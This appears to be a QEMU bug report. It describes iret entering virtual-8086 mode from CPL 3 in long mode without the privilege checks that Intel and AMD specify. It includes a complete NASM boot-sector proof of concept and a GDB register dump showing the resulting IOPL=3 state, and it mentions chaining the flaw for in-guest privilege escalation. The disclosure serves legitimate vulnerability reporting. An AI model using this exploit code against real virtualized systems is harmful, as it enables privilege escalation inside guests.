## Host environment - Operating system: Kali Linux 2026.2 - OS/kernel version: Linux kali 6.19.14+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.19.14-1+kali1 (2026-05-05) x86_64 GNU/Linux - Architecture: x86_64 - QEMU flavor: qemu-i386, qemu-system-i386, qemu-x86_64, qemu-system-x86_64 - QEMU version: 11.0.50 (v11.0.0-2279-gb833716681-dirty) - QEMU command line: ``` ./qemu-system-x86_64 ./virtual8086_poc ``` ## Emulated/Virtualized environment - Operating system: Does not matter - OS/kernel version: Does not matter - Architecture: i386, x86_64 ## Description of problem According to both AMD64 Architecture Programmer's Manual, Volume 3 and Intel 64 and IA-32 Architectures Software Developer's Manual, when new `EFLAGS.VM = 1`, `iret` ensures that the instruction is executed in protected mode and that CPL is 0 before switching to virtual-8086 mode. AMD pseudocode: ``` LEGACY_MODE = (EFER[LMA] == 0) IRET_PROTECTED: IF (RFLAGS.NT == 1) ... POP.v temp_RIP POP.v temp_CS POP.v temp_RFLAGS IF ((temp_RFLAGS.VM==1) && (CPL==0) && (LEGACY_MODE)) IRET_FROM_PROTECTED_TO_VIRTUAL ... ``` Intel pseudocode ``` PROTECTED-MODE: IF NT = 1 THEN GOTO TASK-RETURN; (* PE = 1, VM = 0, NT = 1 *) FI; IF OperandSize = 32 THEN EIP := Pop(); CS := Pop(); (* 32-bit pop, high-order 16 bits discarded *) tempEFLAGS := Pop(); ELSE (* OperandSize = 16 *) EIP := Pop(); (* 16-bit pop; clear upper bits *) CS := Pop(); (* 16-bit pop *) tempEFLAGS := Pop(); (* 16-bit pop; clear upper bits *) FI; IF tempEFLAGS(VM) = 1 and CPL = 0 THEN GOTO RETURN-TO-VIRTUAL-8086-MODE; ELSE GOTO PROTECTED-MODE-RETURN; FI; ... IA-32e-MODE: (* tempEFLAGS(VM) is not checked at all *) ... ``` However, QEMU's implementation of protected mode `iret` only checks `new_eflags & VM_MASK` when operand size is 32 bits: ```c /* protected mode iret */ static inline void helper_ret_protected(CPUX86State *env, int shift, int is_iret, int addend, uintptr_t retaddr) { /* ... */ #ifdef TARGET_X86_64 if (shift == 2) { /* 64 bits */ /* ... */ } else #endif { if (shift == 1) { /* 32 bits */ new_eip = popl(&sa); new_cs = popl(&sa) & 0xffff; if (is_iret) { new_eflags = popl(&sa); /* !!! NO MODE AND CPL CHECKS !!! */ if (new_eflags & VM_MASK) { goto return_to_vm86; } } } else { /* 16 bits */ /* ... */ } } /* ... */ } ``` This behavior is not only incorrect, but also dangerous, because when `iret` returns to virtual-8086 mode from protected mode, it loads the new value of `EFLAGS` without any checks on dangerous fields like `IOPL` and `IF` (not a bug, since it's assumed that only privileged (`CPL==0`) code can switch to virtual-8086 mode). If chained with https://kqx.io/post/fw_cfg, this can allow privilege escalation within the guest. ## Steps to reproduce 1. Compile the following source code with nasm: ```nasm bits 16 org 0x7c00 %define CR0_PE 1 %define CR0_WP (1<<16) %define CR0_PG (1<<31) %define CR4_PAE (1<<5) %define MSR_EFER 0xc0000080 %define EFER_LME (1<<8) %define EFER_NXE (1<<11) cli xor ebx, ebx mov ds, ebx mov fs, ebx mov gs, ebx mov ss, ebx mov esp, 0x7c00 jmp 0:reload_cs_16 reload_cs_16: mov eax, 0x7e0 mov es, eax xor dh, dh mov ecx, 2 mov ah, 2 mov al, (part2_end - part2 + 511) / 512 int 0x13 jc $ cli mov esp, 0x7000 mov eax, pml4 mov cr3, eax mov ecx, MSR_EFER rdmsr or eax, EFER_LME | EFER_NXE wrmsr mov eax, cr4 or eax, CR4_PAE mov cr4, eax mov eax, cr0 or eax, CR0_PG | CR0_WP | CR0_PE mov cr0, eax lgdt [gdtr] lidt [idtr] jmp 0x8:reload_cs_64 bits 64 reload_cs_64: mov eax, 0x23 mov ds, eax mov es, eax mov fs, eax mov gs, eax mov eax, 0x10 mov ss, eax mov eax, 0x28 ltr ax push qword 0x23 ; SS push qword 0x7000 ; RSP push qword 2 ; RFLAGS push qword 0x1b ; CS push user_code ; RIP iretq struc iret_prot_to_v8086_stack .eip: resd 1 .cs: resd 1 .eflags: resd 1 .esp: resd 1 .ss: resd 1 .es: resd 1 .ds: resd 1 .fs: resd 1 .gs: resd 1 .size: endstruc %define EFLAGS_IOPL_3 (3<<12) %define EFLAGS_VM (1<<17) user_code: sub rsp, iret_prot_to_v8086_stack.size mov dword [rsp+iret_prot_to_v8086_stack.eip], v8086_code mov dword [rsp+iret_prot_to_v8086_stack.cs], 0x0 mov dword [rsp+iret_prot_to_v8086_stack.eflags], EFLAGS_VM | EFLAGS_IOPL_3 mov dword [rsp+iret_prot_to_v8086_stack.esp], esp mov dword [rsp+iret_prot_to_v8086_stack.ss], 0x0 mov dword [rsp+iret_prot_to_v8086_stack.es], 0x0 mov dword [rsp+iret_prot_to_v8086_stack.ds], 0x0 mov dword [rsp+iret_prot_to_v8086_stack.fs], 0x0 mov dword [rsp+iret_prot_to_v8086_stack.gs], 0x0 iretd v8086_code: jmp $ handle_exception_stub: cli hlt jmp handle_exception_stub times 510 - ($-$$) db 0 dw 0xaa55 part2: %define OFFSET_TO_ADDR(x) times ((x) - 0x7c00 - ($-$$)) db 0 %define ADDROF(x) ((x) - $$ + 0x7c00) %define DATA_START_ADDR 0x8000 %define PT_START_ADDR DATA_START_ADDR+0x1000 OFFSET_TO_ADDR(DATA_START_ADDR) %define GDT_TSS64_AVAILABLE (9<<8) %define GDT_DATA_WRITABLE (1<<9) %define GDT_CODE_SEGMENT (1<<11) %define GDT_CODE_OR_DATA_SEGMENT (1<<12) %define GDT_DPL_3 (3<<13) %define GDT_PRESENT (1<<15) %define GDT_64BIT_CODE_SEGMENT (1<<21) %define GDT_32BIT_SEGMENT (1<<22) %define GDT_GRANULARITY (1<<23) gdt: dq 0 dd 0xffff dd (0xf << 16) | GDT_PRESENT | GDT_GRANULARITY | GDT_CODE_OR_DATA_SEGMENT | GDT_CODE_SEGMENT | GDT_64BIT_CODE_SEGMENT dd 0xffff dd (0xf << 16) | GDT_PRESENT | GDT_GRANULARITY | GDT_CODE_OR_DATA_SEGMENT | GDT_32BIT_SEGMENT | GDT_DATA_WRITABLE dd 0xffff dd (0xf << 16) | GDT_PRESENT | GDT_GRANULARITY | GDT_CODE_OR_DATA_SEGMENT | GDT_CODE_SEGMENT | GDT_64BIT_CODE_SEGMENT | GDT_DPL_3 dd 0xffff dd (0xf << 16) | GDT_PRESENT | GDT_GRANULARITY | GDT_CODE_OR_DATA_SEGMENT | GDT_32BIT_SEGMENT | GDT_DATA_WRITABLE | GDT_DPL_3 dw tss.end - tss - 1 dw tss dd GDT_PRESENT | GDT_TSS64_AVAILABLE | (ADDROF(tss) >> 16) & 0xff | (ADDROF(tss) & 0xff000000) | (((tss.end - tss - 1) >> 16) & 0xf) dq ADDROF(tss) >> 32 gdtr: .limit: dw gdtr - gdt - 1 .base: dq gdt %define IDT_PRESENT (1<<15) %define IDT_TRAP_GATE (0xf<<8) %macro MAKE_IDT_TRAP_GATE 1 dw ADDROF(%1) dw 0x8 dw IDT_PRESENT | IDT_TRAP_GATE dq ADDROF(%1) >> 16 dw 0 %endmacro idt: MAKE_IDT_TRAP_GATE handle_exception_stub ; divide error MAKE_IDT_TRAP_GATE handle_exception_stub ; debug exception MAKE_IDT_TRAP_GATE handle_exception_stub ; NMI MAKE_IDT_TRAP_GATE handle_exception_stub ; breakpoint MAKE_IDT_TRAP_GATE handle_exception_stub ; overflow MAKE_IDT_TRAP_GATE handle_exception_stub ; bound range exceeded MAKE_IDT_TRAP_GATE handle_exception_stub ; invalid opcode MAKE_IDT_TRAP_GATE handle_exception_stub ; device not available MAKE_IDT_TRAP_GATE handle_exception_stub ; double fault MAKE_IDT_TRAP_GATE handle_exception_stub ; intel reserved MAKE_IDT_TRAP_GATE handle_exception_stub ; invalid tss MAKE_IDT_TRAP_GATE handle_exception_stub ; segment not present MAKE_IDT_TRAP_GATE handle_exception_stub ; stack fault MAKE_IDT_TRAP_GATE handle_exception_stub ; general protection fault MAKE_IDT_TRAP_GATE handle_exception_stub ; page fault MAKE_IDT_TRAP_GATE handle_exception_stub ; x87 fpu fp error MAKE_IDT_TRAP_GATE handle_exception_stub ; alignment check exception MAKE_IDT_TRAP_GATE handle_exception_stub ; machine check exception MAKE_IDT_TRAP_GATE handle_exception_stub ; simd fp exception MAKE_IDT_TRAP_GATE handle_exception_stub ; virtualization exception MAKE_IDT_TRAP_GATE handle_exception_stub ; control protection exception MAKE_IDT_TRAP_GATE handle_exception_stub MAKE_IDT_TRAP_GATE handle_exception_stub MAKE_IDT_TRAP_GATE handle_exception_stub MAKE_IDT_TRAP_GATE handle_exception_stub MAKE_IDT_TRAP_GATE handle_exception_stub MAKE_IDT_TRAP_GATE handle_exception_stub MAKE_IDT_TRAP_GATE handle_exception_stub MAKE_IDT_TRAP_GATE handle_exception_stub MAKE_IDT_TRAP_GATE handle_exception_stub MAKE_IDT_TRAP_GATE handle_exception_stub MAKE_IDT_TRAP_GATE handle_exception_stub idtr: .limit: dw idtr - idt - 1 .base: dq idt tss: .rsvd0: dd 0 .rsp0: dq 0x7000 .rsp1: dq 0 .rsp2: dq 0 .rsvd1: dq 0 .ist1: dq 0 .ist2: dq 0 .ist3: dq 0 .ist4: dq 0 .ist5: dq 0 .ist6: dq 0 .ist7: dq 0 .rsvd2: dq 0 dw 0 .io_map_base_addr: dw tss.end - tss .end: OFFSET_TO_ADDR(PT_START_ADDR) %define PAGE_PRESENT 1 %define PAGE_WRITABLE (1<<1) %define PAGE_USER (1<<2) %define PAGE_NOEXECUTE (1<<63) pml4: dq ADDROF(pdpt) | PAGE_PRESENT | PAGE_WRITABLE | PAGE_USER OFFSET_TO_ADDR(PT_START_ADDR+0x1000) pdpt: dq ADDROF(pd) | PAGE_PRESENT | PAGE_WRITABLE | PAGE_USER OFFSET_TO_ADDR(PT_START_ADDR+0x2000) pd: dq ADDROF(pt) | PAGE_PRESENT | PAGE_WRITABLE | PAGE_USER OFFSET_TO_ADDR(PT_START_ADDR+0x3000) pt: times 6 dq 0 dq 0x6000 | PAGE_PRESENT | PAGE_WRITABLE | PAGE_NOEXECUTE | PAGE_USER dq 0x7000 | PAGE_PRESENT | PAGE_USER dq 0x8000 | PAGE_PRESENT | PAGE_WRITABLE | PAGE_NOEXECUTE OFFSET_TO_ADDR(PT_START_ADDR+0x4000) part2_end: ``` ```bash $ nasm -f bin virtual8086_poc.asm ``` 2. Run QEMU ```bash $ ./qemu-system-x86_64 -s ./virtual8086_poc ``` 3. Connect to GDB stub and view the registers contents: ``` (gdb) tar rem :1234 Remote debugging using :1234 ⚠️ warning: No executable has been specified and target does not support determining executable automatically. Try using the "file" command. 0x0000000000007cea in ?? () => 0x0000000000007cea: eb fe jmp 0x7cea (gdb) info r eflags efer eflags 0x23002 [ VM IOPL=3 ] efer 0xd00 [ NXE LMA LME ] (gdb) monitor info registers CPU#0 EAX=00000028 EBX=00000000 ECX=c0000080 EDX=00000000 ESI=00000000 EDI=00000000 EBP=00000000 ESP=00006fdc EIP=00007cea EFL=00023002 [-------] CPL=3 II=0 A20=1 SMM=0 HLT=0 ES =0000 00000000 0000ffff 0000f300 DPL=3 DS [-WA] CS =0000 00000000 0000ffff 0000f300 DPL=3 DS [-WA] SS =0000 00000000 0000ffff 0000f300 DPL=3 DS [-WA] DS =0000 00000000 0000ffff 0000f300 DPL=3 DS [-WA] FS =0000 00000000 0000ffff 0000f300 DPL=3 DS [-WA] GS =0000 00000000 0000ffff 0000f300 DPL=3 DS [-WA] LDT=0000 00000000 0000ffff 00008200 DPL=0 LDT TR =0028 0000824c 00000067 00008900 DPL=0 TSS64-avl GDT= 0000000000008000 00000037 IDT= 0000000000008042 000001ff CR0=80010011 CR2=0000000000000000 CR3=0000000000009000 CR4=00000020 DR0=0000000000000000 DR1=0000000000000000 DR2=0000000000000000 DR3=0000000000000000 DR6=00000000ffff0ff0 DR7=0000000000000400 EFER=0000000000000d00 FCW=037f FSW=0000 [ST=0] FTW=00 MXCSR=00001f80 FPR0=0000000000000000 0000 FPR1=0000000000000000 0000 FPR2=0000000000000000 0000 FPR3=0000000000000000 0000 FPR4=0000000000000000 0000 FPR5=0000000000000000 0000 FPR6=0000000000000000 0000 FPR7=0000000000000000 0000 XMM00=0000000000000000 0000000000000000 XMM01=0000000000000000 0000000000000000 XMM02=0000000000000000 0000000000000000 XMM03=0000000000000000 0000000000000000 XMM04=0000000000000000 0000000000000000 XMM05=0000000000000000 0000000000000000 XMM06=0000000000000000 0000000000000000 XMM07=0000000000000000 0000000000000000 (gdb) ``` 4. Notice that `EFER.LMA = EFLAGS.VM = 1` Also, if you look at `user_code` label, you will notice that virtual-8086 mode was entered from userspace (`CPL==3`)